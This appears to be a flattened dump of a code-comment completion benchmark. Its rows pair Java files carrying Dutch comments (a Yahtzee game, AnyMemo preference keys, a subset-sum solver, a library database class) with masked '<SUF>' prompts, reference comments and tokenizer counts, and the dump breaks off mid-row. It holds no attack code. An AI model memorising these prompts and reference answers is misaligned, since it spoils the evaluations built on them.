index
int64
1
4.83k
file_id
stringlengths
5
9
content
stringlengths
167
16.5k
repo
stringlengths
7
82
path
stringlengths
8
164
token_length
int64
72
4.23k
original_comment
stringlengths
11
2.7k
comment_type
stringclasses
2 values
detected_lang
stringclasses
1 value
prompt
stringlengths
142
16.5k
Inclusion
stringclasses
4 values
file-tokens-Qwen/Qwen2-7B
int64
64
3.93k
comment-tokens-Qwen/Qwen2-7B
int64
4
972
file-tokens-bigcode/starcoder2-7b
int64
74
3.98k
comment-tokens-bigcode/starcoder2-7b
int64
4
959
file-tokens-google/codegemma-7b
int64
56
3.99k
comment-tokens-google/codegemma-7b
int64
3
953
file-tokens-ibm-granite/granite-8b-code-base
int64
74
3.98k
comment-tokens-ibm-granite/granite-8b-code-base
int64
4
959
file-tokens-meta-llama/CodeLlama-7b-hf
int64
77
4.12k
comment-tokens-meta-llama/CodeLlama-7b-hf
int64
4
1.11k
excluded-based-on-tokenizer-Qwen/Qwen2-7B
bool
2 classes
excluded-based-on-tokenizer-bigcode/starcoder2-7b
bool
2 classes
excluded-based-on-tokenizer-google/codegemma-7b
bool
2 classes
excluded-based-on-tokenizer-ibm-granite/granite-8b-code-base
bool
2 classes
excluded-based-on-tokenizer-meta-llama/CodeLlama-7b-hf
bool
2 classes
include-for-inference
bool
2 classes
306
68167_0
package com.company; import java.util.Scanner; public class YahtzeeSpel { Scanner scanner = new Scanner(System.in); Speler speler1 = new Speler("Sjaak"); Speler speler2 = new Speler("Piet"); public void spelen(){ System.out.println("****** WELKOM BIJ YAHTZEE ******"); System.out.println("Speler 1, wat is je naam? "); speler1.naam = scanner.nextLine(); System.out.println("Speler 2, wat is je naam? "); speler2.naam = scanner.nextLine(); speler1.spelen(); speler2.spelen(); System.out.println("worpen " + speler1.naam); speler1.worpenlijstSpeler(); System.out.println(); System.out.println("worpen " + speler2.naam); speler2.worpenlijstSpeler(); } /* public void spelen() { while (spel) { Worp worp = new Worp(); worp.setArrays(); System.out.println("Gooi de dobbelstenen met [ENTER] of verlaat Yathzee met [q]"); String invoer = scanner.nextLine(); if (invoer.equals("q")) { spel = false; } if (invoer.isEmpty()) { worp.getWorp(); worpAantal++; for (int i = 0; i < 3; i++) { System.out.println("Dit was worp: " + worpAantal); System.out.println("Wat wil je vasthouden? (toets [q] om het spel te verlaten)"); System.out.println("toets de nummers van de dobbelstenen die je wilt houden."); System.out.println("een dobbelsteen met x heb je al gekozen. Toets [ENTER] om een beurt over te slaan."); worp.vasthouden(); worp.flushArrays(); worp.printUitslag(); System.out.println("jouw gegooide dobbelstenen: "); worp.getVerzamelijst(); speler1.worpenlijstSpeler(); worp.getWorp(); worpAantal++; if (worpAantal == 3) { spel = false; } } worpAantal = 0; } } } */ }
CasparSteinebach/Yathzee
src/com/company/YahtzeeSpel.java
709
/* public void spelen() { while (spel) { Worp worp = new Worp(); worp.setArrays(); System.out.println("Gooi de dobbelstenen met [ENTER] of verlaat Yathzee met [q]"); String invoer = scanner.nextLine(); if (invoer.equals("q")) { spel = false; } if (invoer.isEmpty()) { worp.getWorp(); worpAantal++; for (int i = 0; i < 3; i++) { System.out.println("Dit was worp: " + worpAantal); System.out.println("Wat wil je vasthouden? (toets [q] om het spel te verlaten)"); System.out.println("toets de nummers van de dobbelstenen die je wilt houden."); System.out.println("een dobbelsteen met x heb je al gekozen. Toets [ENTER] om een beurt over te slaan."); worp.vasthouden(); worp.flushArrays(); worp.printUitslag(); System.out.println("jouw gegooide dobbelstenen: "); worp.getVerzamelijst(); speler1.worpenlijstSpeler(); worp.getWorp(); worpAantal++; if (worpAantal == 3) { spel = false; } } worpAantal = 0; } } } */
block_comment
nl
package com.company; import java.util.Scanner; public class YahtzeeSpel { Scanner scanner = new Scanner(System.in); Speler speler1 = new Speler("Sjaak"); Speler speler2 = new Speler("Piet"); public void spelen(){ System.out.println("****** WELKOM BIJ YAHTZEE ******"); System.out.println("Speler 1, wat is je naam? "); speler1.naam = scanner.nextLine(); System.out.println("Speler 2, wat is je naam? "); speler2.naam = scanner.nextLine(); speler1.spelen(); speler2.spelen(); System.out.println("worpen " + speler1.naam); speler1.worpenlijstSpeler(); System.out.println(); System.out.println("worpen " + speler2.naam); speler2.worpenlijstSpeler(); } /* public void spelen()<SUF>*/ }
False
551
338
617
371
609
369
617
371
699
426
true
true
true
true
true
false
1,064
76751_8
/* Copyright (C) 2012 Haowen Ning This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ package org.liberty.android.fantastischmemo.common; /* * Class that defines the contants that is used in AnyMemo. */ public class AMPrefKeys { // Keys for Algorithm customization. public static final String getInitialGradingIntervalKey(int grade) { return "initial_grading_interval_" + grade; } public static final String getFailedGradingIntervalKey(int grade) { return "failed_grading_interval_" + grade; } public static final String getEasinessIncrementalKey(int grade) { return "easiness_incremental_" + grade; } public static final String ENABLE_NOISE_KEY = "enable_noise"; public static final String MINIMAL_INTERVAL_KEY = "minimal_interval"; public static final String INITIAL_EASINESS_KEY = "initial_easiness"; public static final String MINIMAL_EASINESS_KEY = "minimal_easiness"; public static final String LEARN_QUEUE_SIZE_KEY = "learning_queue_size"; public static final String REVIEW_ORDERING_KEY = "review_ordering"; // Keys for Options public static final String ENABLE_THIRD_PARTY_ARABIC_KEY = "enable_third_party_arabic"; public static final String BUTTON_STYLE_KEY = "button_style"; public static final String ENABLE_VOLUME_KEY_KEY = "enable_volume_key"; public static final String COPY_CLIPBOARD_KEY = "copy_to_clipboard"; public static final String DICT_APP_KEY = "dict_app"; public static final String SHUFFLING_CARDS_KEY = "shuffling_cards"; public static final String SPEECH_CONTROL_KEY = "speech_ctl"; public static final String RECENT_COUNT_KEY = "recent_count"; public static final String WORKOUT_COUNT_KEY = "workout_count"; public static final String ENABLE_ANIMATION_KEY = "enable_animation"; // Dropbox public static final String DROPBOX_USERNAME_KEY = "dropbox_username"; public static final String DROPBOX_TOKEN_KEY = "dropbox_token"; public static final String DROPBOX_SECRET_KEY = "dropbox_secret"; public static final String DROPBOX_AUTH_TOKEN="dropbox_auth_token"; public static final String DROPBOX_AUTH_TOKEN_SECRET="dropbox_auth_token_secret"; // FlashcardExchange public static final String FE_SAVED_USERNAME_KEY = "saved_username"; public static final String FE_SAVED_OAUTH_TOKEN_KEY = "saved_oauth_token"; public static final String FE_SAVED_OAUTH_TOKEN_SECRET_KEY = "saved_oauth_token_secret"; public static final String FE_SAVED_SEARCH_KEY = "fe_saved_search"; public static final String FE_SAVED_USER_KEY = "fe_saved_user"; public static final String QUIZLET_SAVED_SEARCH = "quizlet_saved_search"; public static final String QUIZLET_SAVED_USER = "quizlet_saved_user"; public static final String GOOGLE_AUTH_TOKEN = "google_auth_token"; // AnyMemo main activity public static final String FIRST_TIME_KEY = "first_time"; public static final String getWorkoutCountKey(int ord) {return "workoutpath"+ord; } public static final String getRecentPathKey(int ord) { return "recentdbpath" + ord; } public static final String SAVED_VERSION_CODE_KEY = "saved_version_code"; public static final String SAVED_FILEBROWSER_PATH_KEY = "saved_fb_path"; // Quiz public static final String QUIZ_GROUP_SIZE_KEY = "quiz_group_size"; public static final String QUIZ_GROUP_NUMBER_KEY = "quiz_group_number"; public static final String QUIZ_START_ORDINAL_KEY = "quiz_start_ordinal"; public static final String QUIZ_END_ORDINAL_KEY = "quiz_end_ordinal"; // Card Editor public static final String ADD_BACK_KEY = "add_back"; // public static final String // public static final String // public static final String // List edit screen public static final String LIST_EDIT_SCREEN_PREFIX = "CardListActivity"; // BaseActivity public static final String INTERFACE_LOCALE_KEY = "interface_locale"; public static final String FULLSCREEN_MODE_KEY = "fullscreen_mode"; public static final String ALLOW_ORIENTATION_KEY= "allow_orientation"; // AnyMemoService public static final String NOTIFICATION_INTERVAL_KEY = "notification_interval"; // Card player public static final String CARD_PLAYER_QA_SLEEP_INTERVAL_KEY = "card_player_qa_sleep_interval"; public static final String CARD_PLAYER_CARD_SLEEP_INTERVAL_KEY = "card_player_card_sleep_interval"; public static final String CARD_PLAYER_SHUFFLE_ENABLED_KEY = "card_player_shuffle_enabled"; public static final String CARD_PLAYER_REPEAT_ENABLED_KEY = "card_player_repeat_enabled"; // QA Card Activity public static final String CARD_GESTURE_ENABLED = "card_gesture_enabled"; // The prefix for oauth access token preference public static final String OAUTH_ACCESS_TOKEN_KEY_PREFIX = "oauth_access_token_"; // The prefix for remembered id for preview edit mode. public static final String PREVIEW_EDIT_START_ID_PREFIX = "preview_edit_start_id_prefix"; public static final String LIST_SORT_BY_METHOD_PREFIX = "list_sort_by_method_prefix"; public static final String LIST_ANSWER_VISIBLE_PREFIX = "list_answer_visible"; }
MarcLeclair/Mini-Cap-AnyMemo
app/src/main/java/org/liberty/android/fantastischmemo/common/AMPrefKeys.java
1,814
// List edit screen
line_comment
nl
/* Copyright (C) 2012 Haowen Ning This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ package org.liberty.android.fantastischmemo.common; /* * Class that defines the contants that is used in AnyMemo. */ public class AMPrefKeys { // Keys for Algorithm customization. public static final String getInitialGradingIntervalKey(int grade) { return "initial_grading_interval_" + grade; } public static final String getFailedGradingIntervalKey(int grade) { return "failed_grading_interval_" + grade; } public static final String getEasinessIncrementalKey(int grade) { return "easiness_incremental_" + grade; } public static final String ENABLE_NOISE_KEY = "enable_noise"; public static final String MINIMAL_INTERVAL_KEY = "minimal_interval"; public static final String INITIAL_EASINESS_KEY = "initial_easiness"; public static final String MINIMAL_EASINESS_KEY = "minimal_easiness"; public static final String LEARN_QUEUE_SIZE_KEY = "learning_queue_size"; public static final String REVIEW_ORDERING_KEY = "review_ordering"; // Keys for Options public static final String ENABLE_THIRD_PARTY_ARABIC_KEY = "enable_third_party_arabic"; public static final String BUTTON_STYLE_KEY = "button_style"; public static final String ENABLE_VOLUME_KEY_KEY = "enable_volume_key"; public static final String COPY_CLIPBOARD_KEY = "copy_to_clipboard"; public static final String DICT_APP_KEY = "dict_app"; public static final String SHUFFLING_CARDS_KEY = "shuffling_cards"; public static final String SPEECH_CONTROL_KEY = "speech_ctl"; public static final String RECENT_COUNT_KEY = "recent_count"; public static final String WORKOUT_COUNT_KEY = "workout_count"; public static final String ENABLE_ANIMATION_KEY = "enable_animation"; // Dropbox public static final String DROPBOX_USERNAME_KEY = "dropbox_username"; public static final String DROPBOX_TOKEN_KEY = "dropbox_token"; public static final String DROPBOX_SECRET_KEY = "dropbox_secret"; public static final String DROPBOX_AUTH_TOKEN="dropbox_auth_token"; public static final String DROPBOX_AUTH_TOKEN_SECRET="dropbox_auth_token_secret"; // FlashcardExchange public static final String FE_SAVED_USERNAME_KEY = "saved_username"; public static final String FE_SAVED_OAUTH_TOKEN_KEY = "saved_oauth_token"; public static final String FE_SAVED_OAUTH_TOKEN_SECRET_KEY = "saved_oauth_token_secret"; public static final String FE_SAVED_SEARCH_KEY = "fe_saved_search"; public static final String FE_SAVED_USER_KEY = "fe_saved_user"; public static final String QUIZLET_SAVED_SEARCH = "quizlet_saved_search"; public static final String QUIZLET_SAVED_USER = "quizlet_saved_user"; public static final String GOOGLE_AUTH_TOKEN = "google_auth_token"; // AnyMemo main activity public static final String FIRST_TIME_KEY = "first_time"; public static final String getWorkoutCountKey(int ord) {return "workoutpath"+ord; } public static final String getRecentPathKey(int ord) { return "recentdbpath" + ord; } public static final String SAVED_VERSION_CODE_KEY = "saved_version_code"; public static final String SAVED_FILEBROWSER_PATH_KEY = "saved_fb_path"; // Quiz public static final String QUIZ_GROUP_SIZE_KEY = "quiz_group_size"; public static final String QUIZ_GROUP_NUMBER_KEY = "quiz_group_number"; public static final String QUIZ_START_ORDINAL_KEY = "quiz_start_ordinal"; public static final String QUIZ_END_ORDINAL_KEY = "quiz_end_ordinal"; // Card Editor public static final String ADD_BACK_KEY = "add_back"; // public static final String // public static final String // public static final String // List edit<SUF> public static final String LIST_EDIT_SCREEN_PREFIX = "CardListActivity"; // BaseActivity public static final String INTERFACE_LOCALE_KEY = "interface_locale"; public static final String FULLSCREEN_MODE_KEY = "fullscreen_mode"; public static final String ALLOW_ORIENTATION_KEY= "allow_orientation"; // AnyMemoService public static final String NOTIFICATION_INTERVAL_KEY = "notification_interval"; // Card player public static final String CARD_PLAYER_QA_SLEEP_INTERVAL_KEY = "card_player_qa_sleep_interval"; public static final String CARD_PLAYER_CARD_SLEEP_INTERVAL_KEY = "card_player_card_sleep_interval"; public static final String CARD_PLAYER_SHUFFLE_ENABLED_KEY = "card_player_shuffle_enabled"; public static final String CARD_PLAYER_REPEAT_ENABLED_KEY = "card_player_repeat_enabled"; // QA Card Activity public static final String CARD_GESTURE_ENABLED = "card_gesture_enabled"; // The prefix for oauth access token preference public static final String OAUTH_ACCESS_TOKEN_KEY_PREFIX = "oauth_access_token_"; // The prefix for remembered id for preview edit mode. public static final String PREVIEW_EDIT_START_ID_PREFIX = "preview_edit_start_id_prefix"; public static final String LIST_SORT_BY_METHOD_PREFIX = "list_sort_by_method_prefix"; public static final String LIST_ANSWER_VISIBLE_PREFIX = "list_answer_visible"; }
False
1,276
4
1,527
4
1,556
4
1,527
4
1,898
4
false
false
false
false
false
true
3,988
30819_11
package dynProg.solvers;_x000D_ _x000D_ import dynProg.Solver;_x000D_ _x000D_ public class BottomUpSolver implements Solver{_x000D_ _x000D_ private int[][] matrix;_x000D_ _x000D_ public BottomUpSolver(){ _x000D_ }_x000D_ _x000D_ public static void main(String[] args){_x000D_ BottomUpSolver s = new BottomUpSolver();_x000D_ s.solve(new int[]{3,5,7,9,11}, 17);_x000D_ }_x000D_ _x000D_ _x000D_ public boolean solve(int[] numbers, int sum){ _x000D_ matrix = new int[numbers.length][sum]; _x000D_ // Elke rij bijlangs gaan_x000D_ //M(i,j)_x000D_ //row == i_x000D_ //answer == j_x000D_ int totaal=0;_x000D_ for(int p=0;p<numbers.length;p++){_x000D_ totaal += numbers[p];_x000D_ }_x000D_ for(int i = 0; i<numbers.length; i++){ _x000D_ int somB = 0;_x000D_ for(int j = 0; j<=i; j++){ _x000D_ // Plaats de huidige_x000D_ // Als numbers j is 3 dan wordt er een 1 geplaatst op M(0,2)_x000D_ matrix[i][numbers[j]-1] = numbers[j];_x000D_ _x000D_ // De som uitvoeren_x000D_ // Zolang de som van B kleiner is dan 17 zal hij toegevoegd worden aan de matrix_x000D_ // Als {3,5} aan de beurt is wordt er dus 8 uitgerekend_x000D_ // Gekeken of het kleiner is dan 17_x000D_ // en vervolgens in dit geval op {1,7} geplaatst_x000D_ somB += numbers[j]; _x000D_ if(somB<=sum){ _x000D_ matrix[i][somB - 1] = somB;_x000D_ }_x000D_ _x000D_ // De som van de vorige_x000D_ // Totaal is gelijk aan de som van B - het getal voor de huidige_x000D_ // Dit moet eigenlijk vaker om alle antwoorden te krijgen maar is op dit moment niet nodig om te doen_x000D_ if (j > 0)_x000D_ {_x000D_ totaal = somB - numbers[j - 1];_x000D_ if(totaal-1<=sum){_x000D_ matrix[i][totaal - 1] = totaal;_x000D_ } _x000D_ } _x000D_ } _x000D_ } _x000D_ return solved(sum);_x000D_ }_x000D_ _x000D_ /**_x000D_ * _x000D_ * @param sum_x000D_ * @return_x000D_ */_x000D_ private boolean solved(int sum){_x000D_ _x000D_ if(sum<= matrix[0].length){_x000D_ //Kijken of er een antwoord staat in de laatste kolom_x000D_ //Elke rij bijlangs gaan en kijken in de laatste kolom of er een antwoord staat_x000D_ for(int i = 0; i<matrix.length; i++){_x000D_ if(matrix[i][sum-1] != 0){ _x000D_ System.out.println("true");_x000D_ return true;_x000D_ }_x000D_ }_x000D_ }_x000D_ return false;_x000D_ }_x000D_ }_x000D_ _x000D_
phoenixz0024/OGGG_2.3
DynamicProgramming/src/dynProg/solvers/BottomUpSolver.java
911
// Totaal is gelijk aan de som van B - het getal voor de huidige_x000D_
line_comment
nl
package dynProg.solvers;_x000D_ _x000D_ import dynProg.Solver;_x000D_ _x000D_ public class BottomUpSolver implements Solver{_x000D_ _x000D_ private int[][] matrix;_x000D_ _x000D_ public BottomUpSolver(){ _x000D_ }_x000D_ _x000D_ public static void main(String[] args){_x000D_ BottomUpSolver s = new BottomUpSolver();_x000D_ s.solve(new int[]{3,5,7,9,11}, 17);_x000D_ }_x000D_ _x000D_ _x000D_ public boolean solve(int[] numbers, int sum){ _x000D_ matrix = new int[numbers.length][sum]; _x000D_ // Elke rij bijlangs gaan_x000D_ //M(i,j)_x000D_ //row == i_x000D_ //answer == j_x000D_ int totaal=0;_x000D_ for(int p=0;p<numbers.length;p++){_x000D_ totaal += numbers[p];_x000D_ }_x000D_ for(int i = 0; i<numbers.length; i++){ _x000D_ int somB = 0;_x000D_ for(int j = 0; j<=i; j++){ _x000D_ // Plaats de huidige_x000D_ // Als numbers j is 3 dan wordt er een 1 geplaatst op M(0,2)_x000D_ matrix[i][numbers[j]-1] = numbers[j];_x000D_ _x000D_ // De som uitvoeren_x000D_ // Zolang de som van B kleiner is dan 17 zal hij toegevoegd worden aan de matrix_x000D_ // Als {3,5} aan de beurt is wordt er dus 8 uitgerekend_x000D_ // Gekeken of het kleiner is dan 17_x000D_ // en vervolgens in dit geval op {1,7} geplaatst_x000D_ somB += numbers[j]; _x000D_ if(somB<=sum){ _x000D_ matrix[i][somB - 1] = somB;_x000D_ }_x000D_ _x000D_ // De som van de vorige_x000D_ // Totaal is<SUF> // Dit moet eigenlijk vaker om alle antwoorden te krijgen maar is op dit moment niet nodig om te doen_x000D_ if (j > 0)_x000D_ {_x000D_ totaal = somB - numbers[j - 1];_x000D_ if(totaal-1<=sum){_x000D_ matrix[i][totaal - 1] = totaal;_x000D_ } _x000D_ } _x000D_ } _x000D_ } _x000D_ return solved(sum);_x000D_ }_x000D_ _x000D_ /**_x000D_ * _x000D_ * @param sum_x000D_ * @return_x000D_ */_x000D_ private boolean solved(int sum){_x000D_ _x000D_ if(sum<= matrix[0].length){_x000D_ //Kijken of er een antwoord staat in de laatste kolom_x000D_ //Elke rij bijlangs gaan en kijken in de laatste kolom of er een antwoord staat_x000D_ for(int i = 0; i<matrix.length; i++){_x000D_ if(matrix[i][sum-1] != 0){ _x000D_ System.out.println("true");_x000D_ return true;_x000D_ }_x000D_ }_x000D_ }_x000D_ return false;_x000D_ }_x000D_ }_x000D_ _x000D_
True
1,152
27
1,232
28
1,251
24
1,232
28
1,371
28
false
false
false
false
false
true
955
151820_11
package inholland.nl.eindopdrachtjavafx.DAL; import inholland.nl.eindopdrachtjavafx.Models.Item; import inholland.nl.eindopdrachtjavafx.Models.Member; import java.io.*; import java.time.LocalDate; import java.util.ArrayList; import java.util.List; public class Database { private List<Member> members; private List<Item> items; public Database() { this.members = new ArrayList<>(); this.items = new ArrayList<>(); try { loadDataForMembers(); loadDataForItems(); } catch (IOException e) { // add users to collection this.members.add(new Member(1, "Lars","Lars", "H", "Lars H", LocalDate.of(1990, 1, 1), "1234")); this.members.add(new Member(2, "Test","Jane", "Doe", "Jane Doe", LocalDate.of(1994, 6, 15), "0000")); this.members.add(new Member(3, "John","John", "Smith", "John Smith", LocalDate.of(1992, 3, 12), "1234")); this.members.add(new Member(4, "Jane2","Jane", "Smith", "Jane Smith", LocalDate.of(1995, 8, 23), "5678")); this.members.add(new Member(5, "John2","John", "Doe", "John Doe", LocalDate.of(1990, 1, 1), "2378")); // add items to collection this.items.add(new Item(1, true, "Harry Potter and the Philosopher's Stone", "J.K. Rowling", LocalDate.of(1997, 6, 26))); this.items.add(new Item(2, true, "Harry Potter and the Chamber of Secrets", "J.K. Rowling", LocalDate.of(1998, 7, 2))); this.items.add(new Item(3, true, "Harry Potter and the Prisoner of Azkaban", "J.K. Rowling", LocalDate.of(1999, 7, 8))); this.items.add(new Item(4, true, "Harry Potter and the Goblet of Fire", "J.K. Rowling", LocalDate.of(2000, 7, 8))); this.items.add(new Item(5, true, "Harry Potter and the Order of the Phoenix", "J.K. Rowling", LocalDate.of(2003, 6, 21))); this.items.add(new Item(6, true, "Harry Potter and the Half-Blood Prince", "J.K. Rowling", LocalDate.of(2005, 7, 16))); this.items.add(new Item(7, true, "Harry Potter and the Deathly Hallows", "J.K. Rowling", LocalDate.of(2007, 7, 21))); } } // return collection of users public List<Member> getMember() { return members; } public List<Item> getAllItems() { return items; } public List<Member> getAllMembers(){ return members; } public Item getItem(int itemCode) { for (Item item : items) { if (item.getItemCode() == itemCode) { return item; } } return null; } // make method to check if itemcode and member are in database public boolean checkItemCodeAndMember(int itemCode, int memberID) { // check if itemcode is in database for (Item item : items) { if (item.getItemCode() == itemCode) { // check if member is in database for (Member existingMember : members) { if (existingMember.getMemberID() == memberID) { return true; } } } } return false; } // make method to check if itemcode is in database public boolean checkItemCode(int itemCode) { // check if itemcode is in database for (Item item : items) { if (item.getItemCode() == itemCode) { return true; } } return false; } // make method to calculate overdue days public int calculateOverdueDays(int itemCode) { // get lending date LocalDate lendingDate = null; for (Item item : items) { if (item.getItemCode() == itemCode) { lendingDate = item.getLendingDate(); } } // calculate overdue days LocalDate today = LocalDate.now(); return today.getDayOfYear() - lendingDate.getDayOfYear(); } public void lentItem (int itemCode, int memberID) { if (checkItemCodeAndMember(itemCode, memberID)) { for (Item item : items) { if (item.getItemCode() == itemCode) { item.setAvailability(false); item.setLendingDate(LocalDate.now()); return; } } } } public boolean receivedItem(int itemCode) { if (checkItemCode(itemCode)) { for (Item item : items) { if (item.getItemCode() == itemCode) { item.setAvailability(true); /* item.setLendingDate(null);*/ // dit moet nog worden aangepast, als dat mogelijk is. Null veroorzaakt error. return true; } } } return false; } //check if item is already lent public boolean checkIfItemIsAlreadyLent(int itemCode) { for (Item item : items) { if (item.getItemCode() == itemCode && !item.getAvailability()) { return true; } } return false; } // check if item is already received public boolean checkIfItemIsAlreadyReceived(int itemCode) { for (Item item : items) { if (item.getItemCode() == itemCode && item.getAvailability()) { return true; } } return false; } // add new item to database public void addItem(Item item) { item.setItemCode(this.generateItemCode()); items.add(item); } public void addMember(Member member) { member.setMemberID(this.generateMemberID()); members.add(member); } public void editItem(Item item) { for (Item existingItem : items) { if (existingItem.getItemCode() == item.getItemCode()) { existingItem.setTitle(item.getTitle()); existingItem.setAuthor(item.getAuthor()); } } } public void editMember(Member member) { for (Member existingMember : members) { if (existingMember.getMemberID() == member.getMemberID()) { existingMember.setFirstname(member.getFirstname()); existingMember.setLastname(member.getLastname()); existingMember.setDateOfBirth(member.getDateOfBirth()); } } } // delete item from database public void deleteItem(Item item) { for (Item existingItem : items) { if (existingItem.getItemCode() == item.getItemCode()) { items.remove(existingItem); return; } } } public void deleteMember(Member member) { for (Member existingMember : members) { if (existingMember.getMemberID() == member.getMemberID()) { members.remove(existingMember); return; } } } // auto generated itemcode public int generateItemCode() { int itemCode = 0; for (Item item : items) { if (item.getItemCode() > itemCode) { itemCode = item.getItemCode(); } } return itemCode + 1; //return items.size() + 1; } public int generateMemberID() { int memberID = 0; for (Member member : members) { if (member.getMemberID() > memberID) { memberID = member.getMemberID(); } } return memberID + 1; } // save data for items private void saveDataForItems() { try { FileOutputStream fileOutputStream = new FileOutputStream("items.dat"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); // write loop for all items for (Item item : items) { objectOutputStream.writeObject(item); } objectOutputStream.close(); fileOutputStream.close(); } catch (IOException e) { e.printStackTrace(); } } // save data for members and serialize private void saveDataForMembers() { try { FileOutputStream fileOutputStream = new FileOutputStream("members.dat"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); // write loop for all members for (Member member : members) { objectOutputStream.writeObject(member); } objectOutputStream.close(); fileOutputStream.close(); } catch (IOException e) { e.printStackTrace(); } } public void saveData() { saveDataForItems(); saveDataForMembers(); } // load data for items public void loadDataForItems() throws IOException{ try { FileInputStream fileInputStream = new FileInputStream("items.dat"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); // read loop for all items while (true) { try { Item item = (Item) objectInputStream.readObject(); items.add(item); } catch (EOFException e) { break; } } objectInputStream.close(); fileInputStream.close(); } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } } // load data for members public void loadDataForMembers() throws IOException { try { FileInputStream fileInputStream = new FileInputStream("members.dat"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); // read loop for all members while (true) { try { Member member = (Member) objectInputStream.readObject(); members.add(member); } catch (EOFException e) { break; } } objectInputStream.close(); fileInputStream.close(); } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } } }
LarsHartendorp/JavaEindopdracht
eindOpdrachtJavaFX/src/main/java/inholland/nl/eindopdrachtjavafx/DAL/Database.java
2,783
// dit moet nog worden aangepast, als dat mogelijk is. Null veroorzaakt error.
line_comment
nl
package inholland.nl.eindopdrachtjavafx.DAL; import inholland.nl.eindopdrachtjavafx.Models.Item; import inholland.nl.eindopdrachtjavafx.Models.Member; import java.io.*; import java.time.LocalDate; import java.util.ArrayList; import java.util.List; public class Database { private List<Member> members; private List<Item> items; public Database() { this.members = new ArrayList<>(); this.items = new ArrayList<>(); try { loadDataForMembers(); loadDataForItems(); } catch (IOException e) { // add users to collection this.members.add(new Member(1, "Lars","Lars", "H", "Lars H", LocalDate.of(1990, 1, 1), "1234")); this.members.add(new Member(2, "Test","Jane", "Doe", "Jane Doe", LocalDate.of(1994, 6, 15), "0000")); this.members.add(new Member(3, "John","John", "Smith", "John Smith", LocalDate.of(1992, 3, 12), "1234")); this.members.add(new Member(4, "Jane2","Jane", "Smith", "Jane Smith", LocalDate.of(1995, 8, 23), "5678")); this.members.add(new Member(5, "John2","John", "Doe", "John Doe", LocalDate.of(1990, 1, 1), "2378")); // add items to collection this.items.add(new Item(1, true, "Harry Potter and the Philosopher's Stone", "J.K. Rowling", LocalDate.of(1997, 6, 26))); this.items.add(new Item(2, true, "Harry Potter and the Chamber of Secrets", "J.K. Rowling", LocalDate.of(1998, 7, 2))); this.items.add(new Item(3, true, "Harry Potter and the Prisoner of Azkaban", "J.K. Rowling", LocalDate.of(1999, 7, 8))); this.items.add(new Item(4, true, "Harry Potter and the Goblet of Fire", "J.K. Rowling", LocalDate.of(2000, 7, 8))); this.items.add(new Item(5, true, "Harry Potter and the Order of the Phoenix", "J.K. Rowling", LocalDate.of(2003, 6, 21))); this.items.add(new Item(6, true, "Harry Potter and the Half-Blood Prince", "J.K. Rowling", LocalDate.of(2005, 7, 16))); this.items.add(new Item(7, true, "Harry Potter and the Deathly Hallows", "J.K. Rowling", LocalDate.of(2007, 7, 21))); } } // return collection of users public List<Member> getMember() { return members; } public List<Item> getAllItems() { return items; } public List<Member> getAllMembers(){ return members; } public Item getItem(int itemCode) { for (Item item : items) { if (item.getItemCode() == itemCode) { return item; } } return null; } // make method to check if itemcode and member are in database public boolean checkItemCodeAndMember(int itemCode, int memberID) { // check if itemcode is in database for (Item item : items) { if (item.getItemCode() == itemCode) { // check if member is in database for (Member existingMember : members) { if (existingMember.getMemberID() == memberID) { return true; } } } } return false; } // make method to check if itemcode is in database public boolean checkItemCode(int itemCode) { // check if itemcode is in database for (Item item : items) { if (item.getItemCode() == itemCode) { return true; } } return false; } // make method to calculate overdue days public int calculateOverdueDays(int itemCode) { // get lending date LocalDate lendingDate = null; for (Item item : items) { if (item.getItemCode() == itemCode) { lendingDate = item.getLendingDate(); } } // calculate overdue days LocalDate today = LocalDate.now(); return today.getDayOfYear() - lendingDate.getDayOfYear(); } public void lentItem (int itemCode, int memberID) { if (checkItemCodeAndMember(itemCode, memberID)) { for (Item item : items) { if (item.getItemCode() == itemCode) { item.setAvailability(false); item.setLendingDate(LocalDate.now()); return; } } } } public boolean receivedItem(int itemCode) { if (checkItemCode(itemCode)) { for (Item item : items) { if (item.getItemCode() == itemCode) { item.setAvailability(true); /* item.setLendingDate(null);*/ // dit moet<SUF> return true; } } } return false; } //check if item is already lent public boolean checkIfItemIsAlreadyLent(int itemCode) { for (Item item : items) { if (item.getItemCode() == itemCode && !item.getAvailability()) { return true; } } return false; } // check if item is already received public boolean checkIfItemIsAlreadyReceived(int itemCode) { for (Item item : items) { if (item.getItemCode() == itemCode && item.getAvailability()) { return true; } } return false; } // add new item to database public void addItem(Item item) { item.setItemCode(this.generateItemCode()); items.add(item); } public void addMember(Member member) { member.setMemberID(this.generateMemberID()); members.add(member); } public void editItem(Item item) { for (Item existingItem : items) { if (existingItem.getItemCode() == item.getItemCode()) { existingItem.setTitle(item.getTitle()); existingItem.setAuthor(item.getAuthor()); } } } public void editMember(Member member) { for (Member existingMember : members) { if (existingMember.getMemberID() == member.getMemberID()) { existingMember.setFirstname(member.getFirstname()); existingMember.setLastname(member.getLastname()); existingMember.setDateOfBirth(member.getDateOfBirth()); } } } // delete item from database public void deleteItem(Item item) { for (Item existingItem : items) { if (existingItem.getItemCode() == item.getItemCode()) { items.remove(existingItem); return; } } } public void deleteMember(Member member) { for (Member existingMember : members) { if (existingMember.getMemberID() == member.getMemberID()) { members.remove(existingMember); return; } } } // auto generated itemcode public int generateItemCode() { int itemCode = 0; for (Item item : items) { if (item.getItemCode() > itemCode) { itemCode = item.getItemCode(); } } 